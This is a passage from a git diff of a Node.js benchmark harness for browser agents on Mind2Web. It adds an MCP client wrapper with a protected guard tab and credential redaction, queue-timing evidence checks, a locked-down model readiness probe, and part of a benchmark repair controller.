{}); return next; + } + #assertUsable() { + if (this.#closed) throw problem('PUBLIC_CLIENT_CLOSED', 'Public MCP client is closed'); + if (this.#fault) throw problem(this.#fault.code, this.#fault.message); + if (this.#disposed || this.#closeAttempted) throw problem('PUBLIC_GUARD_DISPOSED', 'No further public calls are allowed after guard disposal starts'); + } + #fail(code, message) { this.#fault ??= { code, message, at: this.#clock() }; throw problem(code, message); } + #collect(value) { + if (Array.isArray(value)) { value.forEach(item => this.#collect(item)); return; } + if (!plain(value)) return; + for (const [key, item] of Object.entries(value)) { + if (CREDENTIAL_FIELDS.has(key)) { + const remember = entry => { + if (typeof entry === 'string' && entry) this.#secrets.add(entry); + else if (Array.isArray(entry)) entry.forEach(remember); + else if (plain(entry)) Object.values(entry).forEach(remember); + }; + remember(item); + } else this.#collect(item); + } + } + #text(value) { + let result = value; + for (const secret of this.#secrets) result = result.split(secret).join('[redacted ownership credential]'); + return result; + } + #redact(value) { + if (typeof value === 'string') return this.#text(value); + if (Array.isArray(value)) return value.map(item => this.#redact(item)); + if (!plain(value)) return value; + return Object.fromEntries(Object.entries(value).filter(([key]) => !CREDENTIAL_FIELDS.has(key)) + .map(([key, item]) => [key, key === 'data' && value.type === 'image' ? item : this.#redact(item)])); + } + #sanitize(result) { + const texts = (result?.content ?? []).filter(block => block?.type === 'text' && typeof block.text === 'string') + .map(block => { try { return JSON.parse(block.text); } catch { return null; } }); + this.#collect(result); texts.forEach(row => this.#collect(row)); + const sanitized = this.#redact(result); + if (Array.isArray(sanitized?.content)) sanitized.content = sanitized.content.map(block => { + if (block?.type !== 'text' || typeof block.text !== 'string') return block; + try { return { ...block, text: JSON.stringify(this.#redact(JSON.parse(block.text))) }; } + catch { return { ...block, text: this.#text(block.text) }; } + }); + return sanitized; + } + #checkIdentity(result) { + for (const row of objectRows(result)) for (const key of IDENTITY_FIELDS) { + const identity = row[key]; + if (identity === undefined || identity === null) continue; + if (typeof identity !== 'string' || !identity) this.#fail('PUBLIC_SCOPE_IDENTITY_CHANGED', 'Public response has an invalid scope identity'); + if (this.#originalIdentity !== null && identity !== this.#originalIdentity) + this.#fail('PUBLIC_SCOPE_IDENTITY_CHANGED', 'Public response changed the observed original scope identity'); + this.#originalIdentity ??= identity; + } + } + async #request(method, params, options) { + let result; + try { result = await this.#raw.request(method, params, options); } + catch { this.#fail('PUBLIC_TRANSPORT_UNCERTAIN', 'Public MCP request did not return a settled response; it was not retried'); } + // Credentials are retained only in this object's private memory and removed + // before any result is returned to proxy journals or the actor. + result = this.#sanitize(result); this.#checkIdentity(result); + if (method === 'initialize') this.#initialized = true; + return result; + } + async #inventory({ initial = false } = {}) { + const result = await this.#request('tools/call', { name: 'list_tabs', arguments: {} }, { timeoutMs: 10_000 }); + const blocks = result?.content; + if (!successful(result) || !Array.isArray(blocks) || !blocks.length || blocks.some(block => block?.type !== 'text')) + this.#fail('PUBLIC_INVENTORY_INVALID', 'Public scoped inventory was not a successful structured response'); + const rows = objectRows(result), inventories = rows.filter(row => Array.isArray(row.tabs)); + if (rows.length !== blocks.length || inventories.length !== 1 || inventories[0].success !== true) + this.#fail('PUBLIC_INVENTORY_INVALID', 'Public scoped inventory is malformed or ambiguous'); + const row = inventories[0]; let ids; + try { ids = row.tabs.map(tabId); } + catch { this.#fail('PUBLIC_INVENTORY_INVALID', 'Public scoped inventory contains malformed tab IDs'); } + if (new Set(ids).size !== ids.length || (row.totalTabs !== undefined && row.totalTabs !== ids.length) + || (row.activeTabId !== undefined && row.activeTabId !== null && !ids.includes(row.activeTabId))) + this.#fail('PUBLIC_INVENTORY_INVALID', 'Public scoped inventory has duplicate tabs or inconsistent counts'); + if (initial ? ids.length !== 0 : this.#guardId === null || ids.filter(id => id === this.#guardId).length !== 1) + this.#fail(initial ? 'PUBLIC_INITIAL_SCOPE_NOT_EMPTY' : 'PUBLIC_GUARD_MISSING', initial + ? 'A fresh public client must not adopt any existing tab' : 'The original causal guard is absent from public scoped inventory'); + this.#continuityChecks++; + this.#lastInventory = { at: this.#clock(), tab_ids: ids, scope_identity_observed: this.#originalIdentity !== null, + continuity_check: this.#continuityChecks }; + return { result, row, ids, receipt: structuredClone(this.#lastInventory) }; + } + // A fresh stdio server needs a moment to join the bridge hub as a relay; until + // then the read-only inventory reports the extension as not attached. + async #awaitAttachment({ timeoutMs = 15_000, intervalMs = 250 } = {}) { + const until = Date.now() + timeoutMs; + for (;;) { + const result = await this.#request('tools/call', { name: 'list_tabs', arguments: {} }, { timeoutMs: 10_000 }); + if (successful(result)) return; + const text = (result?.content ?? []).map(block => block?.text ?? '').join('\n'); + if (!/extension attachment|extension is not attached|not attached to ws:|extension_not_connected/i.test(text) || Date.now() >= until) + this.#fail('PUBLIC_INVENTORY_INVALID', 'Public scoped inventory was not a successful structured response'); + await new Promise(resolve => setTimeout(resolve, intervalMs)); + } + } + async initialize() { + return this.#serial(async () => { + this.#assertUsable(); + let result; + try { result = typeof this.#raw.initialize === 'function' ? await this.#raw.initialize() + : await this.#raw.request('initialize', { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 'om2w-public-wrapper', version: '1' } }); } + catch { this.#fail('PUBLIC_TRANSPORT_UNCERTAIN', 'Public MCP initialization did not settle; it was not retried'); } + this.#initialized = true; return this.#sanitize(result); + }); + } + async prepareGuard() { + return this.#serial(async () => { + this.#assertUsable(); + if (this.#prepared) return this.#guardReceipt(); + if (!this.#initialized) throw problem('PUBLIC_NOT_INITIALIZED', 'Initialize the public MCP client before preparing its guard'); + await this.#awaitAttachment(); + await this.#inventory({ initial: true }); + this.#server = await this.#serverFactory(); this.#marker = this.#server.marker; this.#guardUrl = this.#server.url; + const url = new URL(this.#guardUrl); + if (url.protocol !== 'http:' || url.hostname !== '127.0.0.1' || typeof this.#marker !== 'string' || !this.#marker || typeof this.#server.close !== 'function') + this.#fail('PUBLIC_GUARD_SERVER_INVALID', 'Guard evidence server must be a bounded local HTTP fixture'); + this.#openRequested = true; + const result = await this.#request('tools/call', { name: 'open_tab', arguments: { url: this.#guardUrl, active: false, + client: this.#clientLabel, visual_reason: 'Keep this temporary benchmark ownership guard separate from task tabs' } }, { timeoutMs: 40_000 }); + const opened = objectRows(result).filter(row => row.tabId !== undefined || row.tab_id !== undefined || row.id !== undefined); + if (!successful(result) || opened.length !== 1) this.#fail('PUBLIC_GUARD_OPEN_UNVERIFIED', 'Public guard open did not return one verified causal tab; it was not retried'); + try { this.#guardId = tabId(opened[0]); } catch { this.#fail('PUBLIC_GUARD_OPEN_UNVERIFIED', 'Public guard open returned an invalid tab ID'); } + // The public open_tab reports the new tab before it navigates, so its URL + // is still about:blank; the guard page itself is verified by the health check. + if (opened[0].url !== undefined && ![this.#guardUrl, 'about:blank', ''].includes(opened[0].url)) + this.#fail('PUBLIC_GUARD_OPEN_UNVERIFIED', 'Public guard open returned an unexpected source URL'); + const inventory = await this.#inventory(); + if (inventory.ids.length !== 1) this.#fail('PUBLIC_GUARD_OPEN_UNVERIFIED', 'Fresh guard setup unexpectedly contains additional tabs'); + this.#prepared = true; return this.#guardReceipt(); + }); + } + #guardReceipt() { + return { ok: true, adapter_version: PUBLIC_RELEASE_ADAPTER_VERSION, method: 'public_guard_presence', guard_tab_id: this.#guardId, + source_url: this.#guardUrl, + inventory: structuredClone(this.#lastInventory), scope_identity_observed: this.#originalIdentity !== null, + limitations: [LIMITATION] }; + } + getGuardId() { return this.#guardId; } + set onNotification(callback) { this.#notification = callback; } + get onNotification() { return this.#notification; } + notify(method, params) { + if (!['notifications/initialized', 'notifications/cancelled'].includes(method)) + throw problem('PUBLIC_NOTIFICATION_DISABLED', 'Only MCP initialization and cancellation notifications are allowed'); + if (!this.#closed) this.#raw.notify?.(method, params); + } + async request(method, params, options) { + return this.#serial(async () => { + this.#assertUsable(); + if (method !== 'tools/call') return this.#request(method, params, options); + if (!this.#prepared) throw problem('PUBLIC_GUARD_NOT_PREPARED', 'Prepare the private guard before task tools'); + const args = params?.arguments ?? {}; + if (args.tab_id === this.#guardId || args.tabId === this.#guardId) + throw problem('PUBLIC_GUARD_PROTECTED', 'The private ownership guard cannot be targeted by actor tools'); + if (params?.name === 'list_tabs') { + const { result, row } = await this.#inventory(); + const filtered = { ...row, tabs: row.tabs.filter(tab => tabId(tab) !== this.#guardId) }; + filtered.totalTabs = filtered.tabs.length; + if (filtered.activeTabId === this.#guardId) filtered.activeTabId = null; + if (filtered.selectedTabId === this.#guardId) filtered.selectedTabId = null; + return { ...result, content: result.content.map(block => { + try { return Array.isArray(JSON.parse(block.text)?.tabs) ? { ...block, text: JSON.stringify(filtered) } : block; } + catch { return block; } + }) }; + } + await this.#inventory(); this.#drain = null; + const result = await this.#request(method, params, options); + await this.#inventory(); return result; + }); + } + /** A listed task popup that the product assigns to another agent; drain checks exclude it. */ + markForeign(id) { if (Number.isInteger(id) && id !== this.#guardId) this.#foreign.add(id); } + #remainingTaskTabs(ids) { return ids.filter(id => id !== this.#guardId && !this.#foreign.has(id)); } + async verifyTaskDrain() { + return this.#serial(async () => { + this.#assertUsable(); + if (!this.#prepared) throw problem('PUBLIC_GUARD_NOT_PREPARED', 'Guard setup was not completed'); + const inventory = await this.#inventory(); + if (this.#remainingTaskTabs(inventory.ids).length) throw problem('PUBLIC_TASK_DRAIN_INCOMPLETE', 'Public scoped inventory still contains task tabs'); + this.#drain = { ok: true, adapter_version: PUBLIC_RELEASE_ADAPTER_VERSION, method: 'public_guard_only_inventory', guard_tab_id: this.#guardId, + task_tab_ids: [], foreign_tab_ids: [...this.#foreign].filter(id => inventory.ids.includes(id)), inventory: inventory.receipt, at: this.#clock(), limitations: [LIMITATION] }; + return structuredClone(this.#drain); + }); + } + async captureGuardHealth() { + return this.#serial(async () => { + this.#assertUsable(); + if (!this.#prepared) throw problem('PUBLIC_GUARD_NOT_PREPARED', 'Guard setup was not completed'); + const before = await this.#inventory(); + if (this.#remainingTaskTabs(before.ids).length) throw problem('PUBLIC_TASK_DRAIN_INCOMPLETE', 'Independent guard health requires all task tabs already disposed'); + const startedAt = this.#clock(); + const focused = await this.#request('tools/call', { name: 'switch_tab', arguments: { tabId: this.#guardId, active: true, + client: this.#clientLabel, visual_reason: 'Inspect only the temporary independent benchmark guard fixture' } }, { timeoutMs: 15_000 }); + if (!successful(focused)) this.#fail('PUBLIC_GUARD_HEALTH_FAILED', 'Public guard focus failed; it was not retried'); + const read = await this.#request('tools/call', { name: 'get_text', arguments: { tab_id: this.#guardId, selector: '#public-release-guard' } }, { timeoutMs: 30_000 }); + if (!successful(read) || read.content?.length !== 1 || objectRows(read).length !== 1 + || objectRows(read)[0].success !== true || objectRows(read)[0].text !== this.#marker) + this.#fail('PUBLIC_GUARD_HEALTH_FAILED', 'Public guard visible fixture text was not verified'); + const result = await this.#request('tools/call', { name: 'capture_screenshot', arguments: { tab_id: this.#guardId, + mode: 'viewport', device_mode: 'current', wait_ms: 250 } }, { timeoutMs: 45_000 }); + const images = result?.content?.filter(block => block.type === 'image') ?? [], rows = objectRows(result); + const metadata = rows.find(row => row.capture_id !== undefined); + const image = images[0]; + if (!successful(result) || result.content?.length !== 2 || rows.length !== 1 || images.length !== 1 + || image.mimeType !== 'image/png' || typeof image.data !== 'string' || !metadata) + this.#fail('PUBLIC_GUARD_HEALTH_FAILED', 'Public guard did not return one native PNG with capture metadata'); + const bytes = Buffer.from(image.data, 'base64'), png = inspectPng(bytes); + if (bytes.toString('base64') !== image.data || !png.ok || png.width < 100 || png.height < 100 || metadata.sha256 !== sha256(bytes) + || metadata.byte_length !== bytes.length || metadata.output_width !== png.width || metadata.output_height !== png.height + || metadata.source_url !== this.#guardUrl || !metadata.capture_id || !Number.isFinite(Date.parse(metadata.timestamp)) + || metadata.mode !== 'viewport' || metadata.effective_emulation?.device_mode !== 'current') + this.#fail('PUBLIC_GUARD_HEALTH_FAILED', 'Public guard native PNG bytes, source or capture identity did not verify'); + const after = await this.#inventory(); + if (this.#remainingTaskTabs(after.ids).length) this.#fail('PUBLIC_GUARD_HEALTH_FAILED', 'Independent guard health unexpectedly contains task tabs'); + this.#drain = null; + return { ok: true, adapter_version: PUBLIC_RELEASE_ADAPTER_VERSION, method: 'public_guard_native_capture', guard_tab_id: this.#guardId, started_at: startedAt, + ended_at: this.#clock(), image, metadata, sha256: sha256(bytes), byte_length: bytes.length, + output_width: png.width, output_height: png.height, read_verified: true, before_inventory: before.receipt, + after_inventory: after.receipt, model_calls: 0, task_actions_replayed: 0, + limitations: [LIMITATION, 'A healthy guard does not establish why a task failed or attest to private native cleanup state.'] }; + }); + } + async disposeGuard() { + return this.#serial(async () => { + this.#assertUsable(); + if (!this.#prepared) throw problem('PUBLIC_GUARD_NOT_PREPARED', 'Guard setup was not completed'); + const prior = await this.#inventory(); + if (this.#remainingTaskTabs(prior.ids).length) throw problem('PUBLIC_TASK_DRAIN_INCOMPLETE', 'Task tabs remain; the private guard was not closed'); + this.#closeAttempted = true; + const result = await this.#request('tools/call', { name: 'close_tab', arguments: { tab_id: this.#guardId, allow_active: true, + client: this.#clientLabel, visual_reason: 'Dispose this exact temporary benchmark guard after verified task-tab drain' } }, { timeoutMs: 40_000 }); + const rows = objectRows(result), row = rows.find(item => item.closed === true); + let closedId; + try { closedId = tabId(row); } catch { /* The unknown close remains unverified and is never retried. */ } + if (!successful(result) || result.content?.length !== 1 || rows.length !== 1 || !row || row.success !== true || closedId !== this.#guardId) + this.#fail('PUBLIC_GUARD_CLOSE_UNVERIFIED', 'The exact public guard close was not acknowledged; it will not be retried'); + this.#disposed = true; + this.#closeReceipt = { ok: true, adapter_version: PUBLIC_RELEASE_ADAPTER_VERSION, method: 'public_exact_guard_close_ack_after_guard_only_inventory', + guard_tab_id: this.#guardId, closed: true, at: this.#clock(), prior_inventory: prior.receipt, + scope_identity_observed: this.#originalIdentity !== null, post_close_inventory_requested: false, + private_registry_drain_attested: false, limitations: [LIMITATION, + 'Cleanup uses the stock exact close acknowledgment after guard-only inventory; public close awaits chrome.tabs.remove. No post-close list or agent re-registration is used.'] }; + return structuredClone(this.#closeReceipt); + }); + } + async close() { + return this.#serial(async () => { + if (this.#closed) return this.#finalReceipt(); + this.#closed = true; let clientClosed = false, serverClosed = !this.#server; + try { await this.#raw.close(); clientClosed = true; } + catch { this.#fault ??= { code: 'PUBLIC_CLIENT_CLOSE_UNVERIFIED', message: 'Public MCP client shutdown was not verified', at: this.#clock() }; } + try { if (this.#server) await this.#server.close(); serverClosed = true; } + catch { this.#fault ??= { code: 'PUBLIC_GUARD_SERVER_CLOSE_UNVERIFIED', message: 'Local guard server shutdown was not verified', at: this.#clock() }; } + this.#closeReceipt = { ...(this.#closeReceipt ?? {}), client_closed: clientClosed, guard_server_closed: serverClosed }; + return this.#finalReceipt(); + }); + } + #finalReceipt() { + return { ...structuredClone(this.#closeReceipt ?? {}), adapter_version: PUBLIC_RELEASE_ADAPTER_VERSION, + cleanup_ok: !this.#fault && (!this.#openRequested || this.#disposed) + && this.#closeReceipt?.client_closed === true && this.#closeReceipt?.guard_server_closed === true, + guard_prepared: this.#prepared, guard_close_attempted: this.#closeAttempted, guard_disposed: this.#disposed, + no_guard_open_requested: !this.#openRequested, ...(this.#fault ? { fault: { ...this.#fault } } : {}), limitations: [LIMITATION] }; + } +} diff --git a/mind2web/harness/queue-timing.mjs b/mind2web/harness/queue-timing.mjs new file mode 100644 index 000000000..1e35fa5b2 --- /dev/null +++ b/mind2web/harness/queue-timing.mjs @@ -0,0 +1,59 @@ +import { readFile, realpath } from 'node:fs/promises'; +import path from 'node:path'; +import { createHash } from 'node:crypto'; +import { inspectPng } from './png.mjs'; + +export const QUEUE_TIMEOUT_CODES = new Set(['BROWSER_QUEUE_TIMEOUT', 'GATEWAY_QUEUE_TIMEOUT']); +export const MISSING_QUEUE_EXPORT_CODES = new Set(['NO_STEP_LOG', 'NO_BOOTSTRAP', 'NO_BOOTSTRAP_SCREENSHOT', 'MISSING_READ_SCREENSHOT', 'MISSING_ACTION_SCREENSHOT']); +const hash = bytes => createHash('sha256').update(bytes).digest('hex'); +async function records(file) { + let bytes; + try { bytes = await readFile(file); } catch (error) { if (error.code === 'ENOENT') return { rows: [], file: null }; throw error; } + const text = bytes.toString('utf8'); + if (text && !text.endsWith('\n')) throw new Error('Incomplete queue evidence JSONL'); + return { rows: text.split('\n').filter(line => line.trim()).map(JSON.parse), file: { path: file, bytes: bytes.length, sha256: hash(bytes) } }; +} + +// A failed candidate may retain a missing observation only when its dispatch was +// explicitly denied in a queue. Native capture failures and bad pixels never qualify. +export async function queueTimingEvidence(rawDir) { + const steps = await records(path.join(rawDir, 'steps.jsonl')); + const gateway = await records(path.join(rawDir, 'gateway-requests.jsonl')); + const emissions = await records(path.join(rawDir, 'emissions.jsonl')); + const emitted = new Set(emissions.rows.map(row => row.frame_id)); + const queueRows = steps.rows.filter(row => QUEUE_TIMEOUT_CODES.has(row.error_code)); + const gatewayRows = gateway.rows.filter(row => row.event === 'rejected' + && QUEUE_TIMEOUT_CODES.has(row.code ?? row.rejection_code) && row.execution_outcome === 'not_executed' && !row.dispatched); + const frames = [], missing = []; + const rawPath = await realpath(rawDir); + let invalid = null; + for (const row of steps.rows) { + if (row.screenshot_path) { + const bytes = await readFile(row.screenshot_path), image = inspectPng(bytes), receipt = row.frame_receipt; + const relative = path.relative(rawPath, await realpath(row.screenshot_path)); + if (!image.ok || !receipt || receipt.sha256 !== hash(bytes) || receipt.byte_length !== bytes.length + || (receipt.task_id !== path.basename(rawDir) && receipt.task_id !== path.basename(path.dirname(rawDir))) + || receipt.tab_id !== row.tab_id || receipt.source_url !== row.url + || receipt.output_width !== image.width || receipt.output_height !== image.height + || !receipt.frame_id || !receipt.capture_id || !/^https?:\/\//.test(receipt.source_url ?? '') + || (row.kind !== 'bootstrap' && !emitted.has(receipt.frame_id)) + || relative === '..' || relative.startsWith('..' + path.sep) || path.isAbsolute(relative)) { invalid = 'A retained frame failed native receipt or PNG validation'; break; } + frames.push({ path: row.screenshot_path, bytes: bytes.length, sha256: hash(bytes), source_url: receipt.source_url }); + continue; + } + if (['research_read', 'denied', 'foreign_read'].includes(row.kind) && !QUEUE_TIMEOUT_CODES.has(row.error_code)) continue; + const nondispatched = !row.timing?.upstream_started && !row.timing?.capture_started; + const completedReadAwaitingCapture = ['read', 'bootstrap'].includes(row.kind) && row.execution_outcome === 'reported_success' + && row.timing?.upstream_finished && !row.timing?.capture_started; + if (!QUEUE_TIMEOUT_CODES.has(row.error_code) || (!nondispatched && !completedReadAwaitingCapture)) { + invalid = 'A required observation is missing without a proved queue denial'; break; + } + missing.push({ seq: row.seq, code: row.error_code, upstream_read_completed: Boolean(completedReadAwaitingCapture), capture_dispatched: false }); + } + const noFramesExplained = frames.length === 0 && (gatewayRows.length > 0 && steps.rows.length === 0 + || steps.rows.length > 0 && steps.rows.every(row => QUEUE_TIMEOUT_CODES.has(row.error_code) && !row.timing?.upstream_started && !row.timing?.capture_started)); + const valid = !invalid && queueRows.length + gatewayRows.length > 0; + return { valid, reason: invalid, queue_denials: queueRows.length + gatewayRows.length, + missing_observations: missing, frames, can_explain_missing_export: valid && (missing.length > 0 || noFramesExplained), + steps: steps.file, gateway: gateway.file, emissions: emissions.file }; +} diff --git a/mind2web/harness/readiness.mjs b/mind2web/harness/readiness.mjs new file mode 100644 index 000000000..e1cbb8983 --- /dev/null +++ b/mind2web/harness/readiness.mjs @@ -0,0 +1,35 @@ +import { mkdtemp, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { runCommand } from './proc.mjs'; + +export function waitForResource(ms, signal) { + if (signal?.aborted) return Promise.resolve(); + return new Promise(resolve => { + const finish = () => { clearTimeout(timer); signal?.removeEventListener('abort', finish); resolve(); }; + const timer = setTimeout(finish, ms); + signal?.addEventListener('abort', finish, { once: true }); + }); +} + +export async function modelReady({ driver, model, effort, signal, run = runCommand }) { + const cwd = await mkdtemp(path.join(tmpdir(), 'om2w-ready-')); + try { + const env = { ...process.env }; + delete env.CLAUDECODE; + const args = driver === 'codex' ? ['exec', '-m', model, '--ephemeral', '--skip-git-repo-check', '--ignore-user-config', '--ignore-rules', '-s', 'read-only', '--json', + '-c', `model_reasoning_effort=${JSON.stringify(effort)}`, '-c', 'features.shell_tool=false', '-c', 'features.apply_patch_freeform=false', '-c', 'web_search="disabled"', '-'] : + ['-p', '--model', model, '--effort', effort, '--tools', '', '--strict-mcp-config', '--mcp-config', '{"mcpServers":{}}', '--setting-sources', '', '--settings', '{"disableAllHooks":true}', '--no-session-persistence', '--disable-slash-commands', '--max-turns', '1', '--output-format', 'json']; + const result = await run(driver === 'codex' ? 'codex' : 'claude', args, { input: 'Reply READY only. Do not use tools.', cwd, env, timeoutMs: 45_000, signal }); + let ready = false; + let usage = null; + if (driver === 'codex') { + for (const line of result.stdout.split('\n')) { + try { const event = JSON.parse(line); if (event.type === 'turn.completed') { ready = true; usage = event.usage; } } catch {} + } + } else { + try { const event = JSON.parse(result.stdout); ready = !event.is_error && event.subtype === 'success'; usage = event.usage; } catch {} + } + return { ok: result.code === 0 && ready, usage, checked_at: new Date().toISOString() }; + } finally { await rm(cwd, { recursive: true, force: true }); } +} diff --git a/mind2web/harness/repair-benchmark.mjs b/mind2web/harness/repair-benchmark.mjs new file mode 100644 index 000000000..b501dd6cb --- /dev/null +++ b/mind2web/harness/repair-benchmark.mjs @@ -0,0 +1,590 @@ +import { createHash } from 'node:crypto'; +import { mkdir, readFile, readdir, realpath, stat, lstat, writeFile, mkdtemp, rm, access } from 'node:fs/promises'; +import { constants } from 'node:fs'; +import { homedir, tmpdir } from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { parseArgs } from 'node:util'; +import { BENCH_ROOT, REPO_ROOT, RESULTS_DIR } from './proc.mjs'; +import { loadTasks } from './dataset.mjs'; +import { hashTree } from './fingerprint.mjs'; +import { acquireRunLock, atomicJson } from './run-state.mjs'; +import { PROFILE_ID, ALLOWED_TOOLS, profileFor, toolsForProfile } from './browser-manual-profile.mjs'; +import { publicAttemptBlocker, verifyPublicDisposition } from './public-disposition.mjs'; +import { manualLiveGate, inspectArtifacts, FIXTURE_PATH } from './manual-live-gate.mjs'; +import { pairedPilot, fixedCanary, operationMetrics, concurrencyDecision } from './manual-pilot.mjs'; +import { collectManual, circuit, DEFAULT_CIRCUIT, sourceFingerprint, assertDiskBudget } from './manual-runner.mjs'; +import { runJudgeJobs, judgeMatrix } from './judge-jobs.mjs'; +import { writeBlindedReviewBundle, writeManualReport, trajectoryFingerprint, verifyFinalizedManualReport } from './manual-report.mjs'; +import { writeV2 } from './v2-writer.mjs'; +import { validateTrajectoryDir } from './validate-v2.mjs'; +import { writePilotCheckpointBundle, verifyPilotReviewComplete } from './manual-pilot-review.mjs'; +import { queueTimingEvidence } from './queue-timing.mjs'; +import { waitForResource } from './readiness.mjs'; +import { verifyClaudeImageContract } from './claude-image-contract.mjs'; +import { MODEL, EFFORT, JUDGE_ENGINE, CLAUDE_CLI } from './model-family.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); +const DATASET_SHA256 = '7dedf381531d423dc0fc48d21dc1d425655dd75f38b10211a880fa09102f257f'; +const DEFAULT_HISTORICAL = path.join(RESULTS_DIR, 'full-codex-20261016-capture-recovery'); +const DIAGNOSTIC_SAMPLE = path.join(REPO_ROOT, '.context/om2w/postmortem-cases-sample.json'); +const PROFILE_PATH = path.join(BENCH_ROOT, 'config/browser-manual-v2.json'); +const now = () => new Date().toISOString(); +const hash = bytes => createHash('sha256').update(bytes).digest('hex'); +const json = file => readFile(file, 'utf8').then(JSON.parse); +const canonical = value => JSON.stringify(value && typeof value === 'object' + ? Array.isArray(value) ? value.map(item => JSON.parse(canonical(item))) + : Object.fromEntries(Object.keys(value).sort().map(key => [key, JSON.parse(canonical(value[key]))])) : value); +const same = (left, right) => canonical(left) === canonical(right); + +async function optionalJson(file) { + try { return await json(file); } catch (error) { if (error.code === 'ENOENT') return null; throw error; } +} +async function entries(directory) { + try { return await readdir(directory); } catch (error) { if (error.code === 'ENOENT') return []; throw error; } +} +async function descriptor(file) { + const bytes = await readFile(file); + return { path: path.resolve(file), bytes: bytes.length, sha256: hash(bytes) }; +} +function within(root, target) { + const relative = path.relative(root, target); + return relative !== '' && relative !== '..' && !relative.startsWith('..' + path.sep) && !path.isAbsolute(relative); +} +async function assertDescriptor(saved) { + if (!saved?.path || !same(await descriptor(saved.path), saved)) throw new Error('Saved pipeline evidence changed'); +} +function commandArray(value) { + if (!Array.isArray(value) || value.length !== 3 || value.some(arg => typeof arg !== 'string' || !arg) + || value[2] !== 'stdio' || !path.isAbsolute(value[0]) || !path.isAbsolute(value[1])) { + throw new Error('FSB server command must be [absolute-node, absolute-build/index.js, "stdio"]'); + } + return value; +} + +export async function resolveExecutable(name, searchPath = process.env.PATH ?? '') { + const candidates = path.isAbsolute(name) ? [name] : searchPath.split(path.delimiter).map(directory => path.resolve(directory || '.', name)); + for (const candidate of candidates) { + try { + await access(candidate, constants.X_OK); + if ((await stat(candidate)).isFile()) return realpath(candidate); + } catch (error) { if (!['ENOENT', 'ENOTDIR', 'EACCES'].includes(error.code)) throw error; } + } + throw new Error(`Required executable ${name} is not available on the controller child PATH`); +} + +export async function capturePipelineSources({ serverCommand, extensionDir }) { + const runtimeBuild = path.dirname(await realpath(serverCommand[1])); + const runtimeAI = path.resolve(runtimeBuild, '../ai'); + const worktreeBuild = path.join(REPO_ROOT, 'mcp/build'); + const worktreeAI = path.join(REPO_ROOT, 'mcp/ai'); + const installedPackage = path.join(homedir(), '.fsb/native-host/runtime/package'); + const [fingerprints, stagedBuild, stagedAI, builtBuild, builtAI, nativeBuild, nativeAI] = await Promise.all([ + sourceFingerprint({ serverCommand, extensionDir }), hashTree(runtimeBuild, () => true), hashTree(runtimeAI, () => true), + hashTree(worktreeBuild, () => true), hashTree(worktreeAI, () => true), + hashTree(path.join(installedPackage, 'build'), () => true), hashTree(path.join(installedPackage, 'ai'), () => true), + ]); + if (stagedBuild !== builtBuild || stagedAI !== builtAI) throw new Error('Staged FSB client build/AI bytes differ from the repaired worktree build'); + const files = [fileURLToPath(import.meta.url), FIXTURE_PATH, PROFILE_PATH, + path.resolve(runtimeBuild, '../server.json'), path.join(installedPackage, 'server.json'), + path.join(BENCH_ROOT, 'config/browser-manual-v2-canary.json'), DIAGNOSTIC_SAMPLE, + path.join(BENCH_ROOT, 'judge/upstream/src/methods/webjudge_online_mind2web.py'), + path.join(BENCH_ROOT, 'judge/upstream/src/utils.py'), path.join(BENCH_ROOT, 'judge/requirements.lock.txt')]; + const manifest = await json(path.join(extensionDir, 'manifest.json')); + const toolchain = { claude: await descriptor(CLAUDE_CLI), + node: await descriptor(await realpath(process.execPath)), node_version: process.version, + fsb_node: await descriptor(await realpath(serverCommand[0])) }; + return { fingerprints, toolchain, staged_client: { build_dir: runtimeBuild, build_sha256: stagedBuild, ai_sha256: stagedAI, + matches_worktree_build: true }, installed_native_transport: { package_dir: installedPackage, + build_sha256: nativeBuild, ai_sha256: nativeAI }, + extension_manifest: { manifest_version: manifest.manifest_version, name: manifest.name, version: manifest.version, + key_sha256: manifest.key ? hash(manifest.key) : null }, files: await Promise.all(files.map(descriptor)) }; +} + +export async function assertResumeSafe(runDirs, { publicRelease = false } = {}) { + const inspected = []; + async function visit(directory) { + for (const entry of await readdir(directory, { withFileTypes: true }).catch(error => { + if (error.code === 'ENOENT') return []; throw error; + })) { + if (entry.isSymbolicLink()) throw new Error('Pipeline run paths cannot contain artifact symlinks'); + if (!entry.isDirectory()) continue; + const child = path.join(directory, entry.name); + if (['raw', 'trajectories', 'judge'].includes(entry.name)) continue; + await visit(child); + } + const manifest = await optionalJson(path.join(directory, 'manifest.json')); + if (!manifest || !Array.isArray(manifest.attempts)) return; + const lock = await optionalJson(path.join(directory, '.lock')); + if (lock) { + if (!Number.isInteger(lock.pid) || lock.pid < 1) throw new Error('Pipeline resume found an invalid run lock'); + try { process.kill(lock.pid, 0); throw new Error('Pipeline resume refused: another controller still owns a run lock'); } + catch (error) { if (error.code !== 'ESRCH') throw error; } + } + if (manifest.active_task_ids?.length || (await Promise.all(manifest.attempts.map(attempt => publicAttemptBlocker(attempt, { publicRelease })))).some(Boolean)) { + throw new Error('Pipeline resume refused: an attempt is in flight or owned cleanup/health is unverified'); + } + for (const attempt of manifest.attempts.filter(attempt => attempt.final?.queue_expiries)) { + if (manifest.config?.pilot_queue_timing !== true || !attempt.pilot_timing_failure?.valid + || !same(await queueTimingEvidence(attempt.raw_dir), attempt.pilot_timing_failure)) throw new Error('Pipeline resume refused: queue expiry lacks verified pilot-only timing evidence'); + } + if (manifest.state === 'paused_health') throw new Error('Pipeline health fault requires repair and a new gated output; ordinary resume is refused'); + inspected.push(path.join(directory, 'manifest.json')); + } + for (const directory of runDirs) await visit(directory); + return inspected; +} + +export function localGateReceipt(summary, { summaryEvidence, fingerprints, receiptPath }) { + const tested = summary.concurrency?.map(row => row.workers).sort((a, b) => a - b); + const passed = summary.concurrency?.filter(row => row.ok === true && row.physical_tests_complete === true && row.queue_expiries === 0 && row.physical_frames > 0).map(row => row.workers).sort((a, b) => a - b); + if (summary.ok !== true || summary.correctness_ok !== true || summary.cleanup_ok !== true || !same(tested, [1, 2, 5, 10]) || !passed?.length + || summary.concurrency.some(row => row.ok && !passed.includes(row.workers) || !row.ok && row.failure_kind !== 'timing') + || summary.hard_queue_ms !== 60_000 + || !summary.sessions?.length || summary.sessions.some(session => session.cleanup_ok !== true + || session.queue_expiries && !(session.level_timing_failed && session.queue_timing_evidence?.valid) + || !session.artifacts?.physical_frames && !(session.level_timing_failed 